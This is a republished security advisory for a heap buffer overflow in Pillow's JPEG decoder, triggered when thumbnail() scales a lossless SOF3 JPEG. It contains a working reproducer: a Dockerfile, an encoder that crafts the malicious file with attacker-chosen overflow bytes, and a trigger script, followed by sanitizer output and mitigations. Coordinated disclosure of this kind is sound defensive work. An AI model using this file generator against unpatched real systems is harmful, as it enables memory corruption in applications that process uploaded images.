Pillow: Heap buffer overflow in ImagingJpegDecode
Summary
JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.
Affected code
At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
src/libImaging/JpegDecode.c:224-262—ImagingJpegDecode();jpeg_start_decompress()at :240,jpeg_read_scanlines()at :252, with no geometry check between them.src/decode.c:222-231—_setimage();state->buffer = calloc(1, state->bytes)withstate->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464—JpegImageFile.draft(); computessand shrinks_size, the tile extents anddecoderconfigwith no notion of lossless coding.src/PIL/JpegImagePlugin.py:271—0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.
Primitive
Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.
Reproduction
Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"
COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit_length()
def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
- Reproduced on
mainate41083f383c9cd3db95de52564cc0b6452313d4a, which is currentorigin/mainas of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
- No non-default Pillow configuration is involved:
Image.thumbnail()callsdraft()by default, and the triggering bytes are entirely file data. - Only paths that use
draft()before loading are affected.open().load()andresize()decode at scale 1 and are unaffected. Callingimg.load()beforethumbnail(), orthumbnail(..., reducing_gap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with
JERR_ARITH_NOTIMPLbefore any row; 12- and 16-bit lossless are rejected by Pillow'sSOF()because it requiresbits == 8; SOF5-7/13-15 fail withJERR_SOF_UNSUPPORTED.
Credit and disclosure
Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.
What to do
Upgrade Pillow to version 13.0.0 or later. For affected versions, the advisory notes that avoiding draft() prior to loading, calling img.load() before thumbnail(), or calling thumbnail(..., reducing_gap=None) avoids the vulnerable code path.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782
- https://nvd.nist.gov/vuln/detail/CVE-2026-112403
- https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS vector
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-122- Platform
- Python (PyPI)
- Package
pillow- Disclosed
- 20.10.2026
- Updated
- 21.10.2026 10:00
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0
Vulnerability history: pillow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 82
- First → latest
- 04.2014 10.2026
- Without a fix
- 0
- Exploited in attacks
- 1
Severity breakdown
- Critical 11
- High 53
- Medium 16
- Low 1
- Unrated 1
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 24
earlier: 12
-
Pillow: Heap buffer overflow in ImagingJpegDecode this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.